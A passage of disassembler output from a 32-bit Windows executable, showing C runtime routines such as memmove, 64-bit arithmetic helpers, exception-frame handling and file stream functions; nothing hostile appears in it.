dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE3C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE3C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD3BC call sub_422EA8 mov edx, dword_4DD3BC pop ecx mov ecx, dword_4DD3B8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD3BC call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD3B8 sub ecx, dword_4DD3BC mov dword_4DD3BC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD3B8, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD3B8, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD3BC, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD3BC pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD3BC mov dword_4DD3B8, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDEC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2680CB0h cmp eax, 0FFFFFFFFh jnz short loc_41DC7E nop call near ptr 26808B7h push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDEC, 0Dh mov dword_4DBDF0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE94 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 